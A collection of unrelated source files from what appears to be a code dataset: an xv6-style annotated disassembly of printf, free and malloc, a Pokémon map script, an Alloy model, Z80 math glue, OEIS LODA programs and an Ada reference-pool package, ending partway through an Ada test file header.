1775: 83 f8 25 cmp $0x25,%eax
1778: 0f 84 c2 00 00 00 je 1840 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
177e: 8d 45 e7 lea -0x19(%ebp),%eax
1781: 83 ec 04 sub $0x4,%esp
1784: c6 45 e7 25 movb $0x25,-0x19(%ebp)
1788: 6a 01 push $0x1
178a: 50 push %eax
178b: 57 push %edi
178c: e8 11 fe ff ff call 15a2 <write>
1791: 83 c4 0c add $0xc,%esp
1794: 8d 45 e6 lea -0x1a(%ebp),%eax
1797: 88 5d e6 mov %bl,-0x1a(%ebp)
179a: 6a 01 push $0x1
179c: 50 push %eax
179d: 57 push %edi
179e: 83 c6 01 add $0x1,%esi
17a1: e8 fc fd ff ff call 15a2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
17a6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
17aa: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
17ad: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
17af: 84 db test %bl,%bl
17b1: 75 8d jne 1740 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
17b3: 8d 65 f4 lea -0xc(%ebp),%esp
17b6: 5b pop %ebx
17b7: 5e pop %esi
17b8: 5f pop %edi
17b9: 5d pop %ebp
17ba: c3 ret
17bb: 90 nop
17bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
17c0: 83 ec 0c sub $0xc,%esp
17c3: b9 10 00 00 00 mov $0x10,%ecx
17c8: 6a 00 push $0x0
17ca: 8b 5d d0 mov -0x30(%ebp),%ebx
17cd: 89 f8 mov %edi,%eax
17cf: 8b 13 mov (%ebx),%edx
17d1: e8 6a fe ff ff call 1640 <printint>
ap++;
17d6: 89 d8 mov %ebx,%eax
17d8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
17db: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
17dd: 83 c0 04 add $0x4,%eax
17e0: 89 45 d0 mov %eax,-0x30(%ebp)
17e3: e9 4d ff ff ff jmp 1735 <printf+0x55>
17e8: 90 nop
17e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
17f0: 8b 45 d0 mov -0x30(%ebp),%eax
17f3: 8b 18 mov (%eax),%ebx
ap++;
17f5: 83 c0 04 add $0x4,%eax
17f8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
17fb: b8 4a 1a 00 00 mov $0x1a4a,%eax
1800: 85 db test %ebx,%ebx
1802: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
1805: 0f b6 03 movzbl (%ebx),%eax
1808: 84 c0 test %al,%al
180a: 74 23 je 182f <printf+0x14f>
180c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1810: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
1813: 8d 45 e3 lea -0x1d(%ebp),%eax
1816: 83 ec 04 sub $0x4,%esp
1819: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
181b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
181e: 50 push %eax
181f: 57 push %edi
1820: e8 7d fd ff ff call 15a2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
1825: 0f b6 03 movzbl (%ebx),%eax
1828: 83 c4 10 add $0x10,%esp
182b: 84 c0 test %al,%al
182d: 75 e1 jne 1810 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
182f: 31 d2 xor %edx,%edx
1831: e9 ff fe ff ff jmp 1735 <printf+0x55>
1836: 8d 76 00 lea 0x0(%esi),%esi
1839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
1840: 83 ec 04 sub $0x4,%esp
1843: 88 5d e5 mov %bl,-0x1b(%ebp)
1846: 8d 45 e5 lea -0x1b(%ebp),%eax
1849: 6a 01 push $0x1
184b: e9 4c ff ff ff jmp 179c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
1850: 83 ec 0c sub $0xc,%esp
1853: b9 0a 00 00 00 mov $0xa,%ecx
1858: 6a 01 push $0x1
185a: e9 6b ff ff ff jmp 17ca <printf+0xea>
185f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
1862: 83 ec 04 sub $0x4,%esp
1865: 8b 03 mov (%ebx),%eax
1867: 6a 01 push $0x1
1869: 88 45 e4 mov %al,-0x1c(%ebp)
186c: 8d 45 e4 lea -0x1c(%ebp),%eax
186f: 50 push %eax
1870: 57 push %edi
1871: e8 2c fd ff ff call 15a2 <write>
1876: e9 5b ff ff ff jmp 17d6 <printf+0xf6>
187b: 66 90 xchg %ax,%ax
187d: 66 90 xchg %ax,%ax
187f: 90 nop
00001880 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1880: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1881: a1 70 1d 00 00 mov 0x1d70,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
1886: 89 e5 mov %esp,%ebp
1888: 57 push %edi
1889: 56 push %esi
188a: 53 push %ebx
188b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
188e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
1890: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1893: 39 c8 cmp %ecx,%eax
1895: 73 19 jae 18b0 <free+0x30>
1897: 89 f6 mov %esi,%esi
1899: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
18a0: 39 d1 cmp %edx,%ecx
18a2: 72 1c jb 18c0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
18a4: 39 d0 cmp %edx,%eax
18a6: 73 18 jae 18c0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
18a8: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
18aa: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
18ac: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
18ae: 72 f0 jb 18a0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
18b0: 39 d0 cmp %edx,%eax
18b2: 72 f4 jb 18a8 <free+0x28>
18b4: 39 d1 cmp %edx,%ecx
18b6: 73 f0 jae 18a8 <free+0x28>
18b8: 90 nop
18b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
18c0: 8b 73 fc mov -0x4(%ebx),%esi
18c3: 8d 3c f1 lea (%ecx,%esi,8),%edi
18c6: 39 d7 cmp %edx,%edi
18c8: 74 19 je 18e3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
18ca: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
18cd: 8b 50 04 mov 0x4(%eax),%edx
18d0: 8d 34 d0 lea (%eax,%edx,8),%esi
18d3: 39 f1 cmp %esi,%ecx
18d5: 74 23 je 18fa <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
18d7: 89 08 mov %ecx,(%eax)
freep = p;
18d9: a3 70 1d 00 00 mov %eax,0x1d70
}
18de: 5b pop %ebx
18df: 5e pop %esi
18e0: 5f pop %edi
18e1: 5d pop %ebp
18e2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
18e3: 03 72 04 add 0x4(%edx),%esi
18e6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
18e9: 8b 10 mov (%eax),%edx
18eb: 8b 12 mov (%edx),%edx
18ed: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
18f0: 8b 50 04 mov 0x4(%eax),%edx
18f3: 8d 34 d0 lea (%eax,%edx,8),%esi
18f6: 39 f1 cmp %esi,%ecx
18f8: 75 dd jne 18d7 <free+0x57>
p->s.size += bp->s.size;
18fa: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
18fd: a3 70 1d 00 00 mov %eax,0x1d70
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
1902: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1905: 8b 53 f8 mov -0x8(%ebx),%edx
1908: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
190a: 5b pop %ebx
190b: 5e pop %esi
190c: 5f pop %edi
190d: 5d pop %ebp
190e: c3 ret
190f: 90 nop
00001910 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
1910: 55 push %ebp
1911: 89 e5 mov %esp,%ebp
1913: 57 push %edi
1914: 56 push %esi
1915: 53 push %ebx
1916: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1919: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
191c: 8b 15 70 1d 00 00 mov 0x1d70,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1922: 8d 78 07 lea 0x7(%eax),%edi
1925: c1 ef 03 shr $0x3,%edi
1928: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
192b: 85 d2 test %edx,%edx
192d: 0f 84 a3 00 00 00 je 19d6 <malloc+0xc6>
1933: 8b 02 mov (%edx),%eax
1935: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
1938: 39 cf cmp %ecx,%edi
193a: 76 74 jbe 19b0 <malloc+0xa0>
193c: 81 ff 00 10 00 00 cmp $0x1000,%edi
1942: be 00 10 00 00 mov $0x1000,%esi
1947: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
194e: 0f 43 f7 cmovae %edi,%esi
1951: ba 00 80 00 00 mov $0x8000,%edx
1956: 81 ff ff 0f 00 00 cmp $0xfff,%edi
195c: 0f 46 da cmovbe %edx,%ebx
195f: eb 10 jmp 1971 <malloc+0x61>
1961: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1968: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
196a: 8b 48 04 mov 0x4(%eax),%ecx
196d: 39 cf cmp %ecx,%edi
196f: 76 3f jbe 19b0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
1971: 39 05 70 1d 00 00 cmp %eax,0x1d70
1977: 89 c2 mov %eax,%edx
1979: 75 ed jne 1968 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
197b: 83 ec 0c sub $0xc,%esp
197e: 53 push %ebx
197f: e8 86 fc ff ff call 160a <sbrk>
if(p == (char*)-1)
1984: 83 c4 10 add $0x10,%esp
1987: 83 f8 ff cmp $0xffffffff,%eax
198a: 74 1c je 19a8 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
198c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
198f: 83 ec 0c sub $0xc,%esp
1992: 83 c0 08 add $0x8,%eax
1995: 50 push %eax
1996: e8 e5 fe ff ff call 1880 <free>
return freep;
199b: 8b 15 70 1d 00 00 mov 0x1d70,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
19a1: 83 c4 10 add $0x10,%esp
19a4: 85 d2 test %edx,%edx
19a6: 75 c0 jne 1968 <malloc+0x58>
return 0;
19a8: 31 c0 xor %eax,%eax
19aa: eb 1c jmp 19c8 <malloc+0xb8>
19ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
19b0: 39 cf cmp %ecx,%edi
19b2: 74 1c je 19d0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
19b4: 29 f9 sub %edi,%ecx
19b6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
19b9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
19bc: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
19bf: 89 15 70 1d 00 00 mov %edx,0x1d70
return (void*)(p + 1);
19c5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
19c8: 8d 65 f4 lea -0xc(%ebp),%esp
19cb: 5b pop %ebx
19cc: 5e pop %esi
19cd: 5f pop %edi
19ce: 5d pop %ebp
19cf: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
19d0: 8b 08 mov (%eax),%ecx
19d2: 89 0a mov %ecx,(%edx)
19d4: eb e9 jmp 19bf <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
19d6: c7 05 70 1d 00 00 74 movl $0x1d74,0x1d70
19dd: 1d 00 00
19e0: c7 05 74 1d 00 00 74 movl $0x1d74,0x1d74
19e7: 1d 00 00
base.s.size = 0;
19ea: b8 74 1d 00 00 mov $0x1d74,%eax
19ef: c7 05 78 1d 00 00 00 movl $0x0,0x1d78
19f6: 00 00 00
19f9: e9 3e ff ff ff jmp 193c <malloc+0x2c>
|
maps/Route5SaffronGate.asm | Dev727/ancientplatinum | 28 | 169791 | object_const_def ; object_event constants
const ROUTE5SAFFRONGATE_OFFICER
Route5SaffronGate_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
Route5SaffronGateOfficerScript:
jumptextfaceplayer Route5SaffronGateOfficerText
Route5SaffronGateOfficerText:
text "You're from JOHTO,"
line "aren't you?"
para "How do you like"
line "KANTO? It's nice,"
cont "don't you agree?"
done
Route5SaffronGate_MapEvents:
db 0, 0 ; filler
db 4 ; warp events
warp_event 4, 0, ROUTE_5, 2
warp_event 5, 0, ROUTE_5, 3
warp_event 4, 7, SAFFRON_CITY, 9
warp_event 5, 7, SAFFRON_CITY, 9
db 0 ; coord events
db 0 ; bg events
db 1 ; object events
object_event 0, 4, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, Route5SaffronGateOfficerScript, -1
|
alloy4fun_models/trashltl/models/9/Qxxhpz4a8PPT6cxAB.als | Kaixi26/org.alloytools.alloy | 0 | 4198 | <filename>alloy4fun_models/trashltl/models/9/Qxxhpz4a8PPT6cxAB.als
open main
pred idQxxhpz4a8PPT6cxAB_prop10 {
always all f:File | f in Protected implies always f in Protected
}
pred __repair { idQxxhpz4a8PPT6cxAB_prop10 }
check __repair { idQxxhpz4a8PPT6cxAB_prop10 <=> prop10o } |
libsrc/_DEVELOPMENT/math/integer/l_muls_32_32x32.asm | ahjelm/z88dk | 4 | 1972 |
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_math
PUBLIC l_muls_32_32x32
; compute: dehl = dehl * dehl'
; alters : af, bc, de, hl, bc', de', hl', ix
IF __CPU_Z180__ && ((__CLIB_OPT_IMATH = 0) || (__CLIB_OPT_IMATH = 100))
EXTERN l_z180_muls_32_32x32
defc l_muls_32_32x32 = l_z180_muls_32_32x32
ELSE
IF __CPU_Z80N__ && ((__CLIB_OPT_IMATH = 0) || (__CLIB_OPT_IMATH = 100))
EXTERN l_z80n_muls_32_32x32
defc l_muls_32_32x32 = l_z80n_muls_32_32x32
ELSE
;IF __IO_LUT_MODULE_AVAILABLE
;
; EXTERN l_lut_mulu_32_32x32
; defc l_muls_32_32x32 = l_lut_mulu_32_32x32
;
;ELSE
IF __CLIB_OPT_IMATH <= 50
EXTERN l_small_muls_32_32x32
defc l_muls_32_32x32 = l_small_muls_32_32x32
ENDIF
IF __CLIB_OPT_IMATH > 50
EXTERN l_fast_muls_32_32x32
defc l_muls_32_32x32 = l_fast_muls_32_32x32
ENDIF
;ENDIF
ENDIF
ENDIF
|
programs/oeis/025/A025736.asm | neoneye/loda | 22 | 22863 | <reponame>neoneye/loda<filename>programs/oeis/025/A025736.asm<gh_stars>10-100
; A025736: Index of 9^n within sequence of numbers of form 6^i*9^j.
; 1,3,6,10,15,22,30,39,49,61,74,88,103,119,137,156,176,197,220,244,269,295,322,351,381,412,444,478,513,549,586,625,665,706,748,791,836,882,929,977,1027,1078,1130,1183,1237,1293,1350,1408,1467,1528,1590,1653,1717
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $5,$0
add $5,1
mov $6,0
mov $7,$0
lpb $5
mov $0,$7
sub $5,1
sub $0,$5
trn $0,2
seq $0,342363 ; First differences of A341282.
mov $3,$0
mul $3,72
div $3,1152
add $3,1
add $6,$3
lpe
add $1,$6
lpe
mov $0,$1
|
programs/oeis/163/A163804.asm | karttu/loda | 0 | 88509 | <gh_stars>0
; A163804: Expansion of (1 - x) * (1 - x^4) / ((1 - x^2) * (1 - x^3)) in powers of x.
; 1,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0
mul $0,2
trn $0,1
add $0,1
lpb $0,1
sub $0,3
lpe
mov $1,$0
|
src/natools-references-pools.adb | faelys/natools | 0 | 11034 | <filename>src/natools-references-pools.adb
------------------------------------------------------------------------------
-- Copyright (c) 2014, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
package body Natools.References.Pools is
------------------------
-- Helper Subprograms --
------------------------
overriding procedure Finalize (Object : in out Pool_Backend) is
begin
Unchecked_Free (Object.Refs);
end Finalize;
procedure Find
(Container : in Pool_Backend;
First_Available : out Extended_Index;
First_Empty : out Extended_Index) is
begin
First_Available := 0;
First_Empty := 0;
if Container.Refs = null then
return;
end if;
for I in Container.Refs'Range loop
if Container.Refs (I).Is_Empty then
if First_Empty = 0 then
First_Empty := I;
exit when First_Available /= 0;
end if;
elsif Container.Refs (I).Is_Last then
if First_Available = 0 then
First_Available := I;
exit when First_Empty /= 0;
end if;
end if;
end loop;
end Find;
not overriding procedure Preallocate
(Container : in out Pool_Backend;
New_Item_Count : in Pool_Size;
Constructor : access function return Held_Data := null) is
begin
if New_Item_Count = 0 then
return;
end if;
if Container.Refs = null then
Container.Refs := new Reference_Array (1 .. New_Item_Count);
if Constructor /= null then
for I in Container.Refs'Range loop
Container.Refs (I) := Create (Constructor);
end loop;
end if;
else
declare
New_Data : Reference_Array_Access
:= new Reference_Array
(1 .. Container.Refs'Length + New_Item_Count);
begin
New_Data (1 .. Container.Refs'Length) := Container.Refs.all;
if Constructor /= null then
for I in Container.Refs'Length + 1 .. New_Data'Last loop
New_Data (I) := Create (Constructor);
end loop;
end if;
Unchecked_Free (Container.Refs);
Container.Refs := New_Data;
exception
when others =>
Unchecked_Free (New_Data);
raise;
end;
end if;
end Preallocate;
----------------------------------
-- Public Protected Subprograms --
----------------------------------
protected body Pool is
procedure Get (Ref : out Reference) is
First_Available, First_Empty : Extended_Index;
begin
Backend.Find (First_Available, First_Empty);
if First_Available in Reference_Index then
Ref := Backend.Refs (First_Available);
else
raise Constraint_Error
with "No non-empty unused reference in pool";
end if;
end Get;
procedure Get
(Constructor : not null access function return Held_Data;
Ref : out Reference)
is
First_Available, First_Empty : Extended_Index;
begin
Backend.Find (First_Available, First_Empty);
if First_Available in Reference_Index then
Ref := Backend.Refs (First_Available);
elsif First_Empty in Reference_Index then
Backend.Refs (First_Empty) := Create (Constructor);
Ref := Backend.Refs (First_Empty);
else
raise Constraint_Error with "No unused reference in pool";
end if;
end Get;
procedure Create
(Constructor : not null access function return Held_Data;
Ref : out Reference;
Expand_Count : in Pool_Size := 1)
is
First_Available, First_Empty : Extended_Index;
begin
Backend.Find (First_Available, First_Empty);
if First_Available in Reference_Index then
Ref := Backend.Refs (First_Available);
elsif First_Empty in Reference_Index then
Backend.Refs (First_Empty) := Create (Constructor);
Ref := Backend.Refs (First_Empty);
else
First_Available := Backend.Length + 1;
Backend.Preallocate (Expand_Count, Constructor);
Ref := Backend.Refs (First_Available);
end if;
end Create;
procedure Preallocate
(New_Item_Count : in Pool_Size;
Constructor : access function return Held_Data := null) is
begin
Backend.Preallocate (New_Item_Count, Constructor);
end Preallocate;
procedure Release_Unused is
begin
if Backend.Refs = null then
return;
end if;
for I in Backend.Refs'Range loop
if not Backend.Refs (I).Is_Empty
and then Backend.Refs (I).Is_Last
then
Backend.Refs (I).Reset;
end if;
end loop;
end Release_Unused;
procedure Trim is
Index : Extended_Index := 0;
New_Count : constant Pool_Size := Initialized_Size;
New_Data : Reference_Array_Access := null;
begin
if New_Count = Backend.Length then
return;
end if;
New_Data := new Reference_Array (1 .. New_Count);
for I in Backend.Refs'Range loop
if not Backend.Refs (I).Is_Empty then
Index := Index + 1;
New_Data (Index) := Backend.Refs (I);
end if;
end loop;
pragma Assert (Index = New_Count);
Unchecked_Free (Backend.Refs);
Backend.Refs := New_Data;
exception
when others =>
Unchecked_Free (New_Data);
raise;
end Trim;
procedure Purge is
begin
Release_Unused;
Trim;
end Purge;
function Capacity return Pool_Size is
begin
return Backend.Length;
end Capacity;
function Initialized_Size return Pool_Size is
Result : Pool_Size := 0;
begin
if Backend.Refs /= null then
for I in Backend.Refs'Range loop
if not Backend.Refs (I).Is_Empty then
Result := Result + 1;
end if;
end loop;
end if;
return Result;
end Initialized_Size;
function Active_Size return Pool_Size is
Result : Pool_Size := 0;
begin
if Backend.Refs /= null then
for I in Backend.Refs'Range loop
if not Backend.Refs (I).Is_Empty
and then not Backend.Refs (I).Is_Last
then
Result := Result + 1;
end if;
end loop;
end if;
return Result;
end Active_Size;
procedure Unchecked_Iterate
(Process : not null access procedure (Ref : in Reference)) is
begin
for I in Backend.Refs'Range loop
Process.all (Backend.Refs (I));
end loop;
end Unchecked_Iterate;
end Pool;
end Natools.References.Pools;
|
programs/oeis/047/A047324.asm | karttu/loda | 0 | 13918 | <gh_stars>0
; A047324: Numbers that are congruent to {0, 2, 5, 6} mod 7.
; 0,2,5,6,7,9,12,13,14,16,19,20,21,23,26,27,28,30,33,34,35,37,40,41,42,44,47,48,49,51,54,55,56,58,61,62,63,65,68,69,70,72,75,76,77,79,82,83,84,86,89,90,91,93,96,97,98,100,103,104,105,107,110,111
add $0,6
mov $1,$0
div $1,4
mul $1,2
mov $2,$0
lpb $2,1
mov $3,$0
add $3,1
mov $0,$3
sub $2,4
lpe
add $1,$0
sub $1,9
|
src/smk-main.ads | mgrojo/smk | 0 | 20372 | <filename>src/smk-main.ads
-- -----------------------------------------------------------------------------
-- smk, the smart make
-- © 2018 <NAME> <<EMAIL>>
-- SPDX-License-Identifier: APSL-2.0
-- -----------------------------------------------------------------------------
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
-- http://www.apache.org/licenses/LICENSE-2.0
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-- -----------------------------------------------------------------------------
-- -----------------------------------------------------------------------------
-- Procedure: Smk.Main specification
--
-- Purpose:
--
-- Effects:
--
-- Limitations:
--
-- Performance:
-- -----------------------------------------------------------------------------
private procedure Smk.Main;
|
testsuite/xml/TN-20/test_20.adb | svn2github/matreshka | 24 | 17900 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- XML Processor --
-- --
-- Testsuite Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010-2014, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
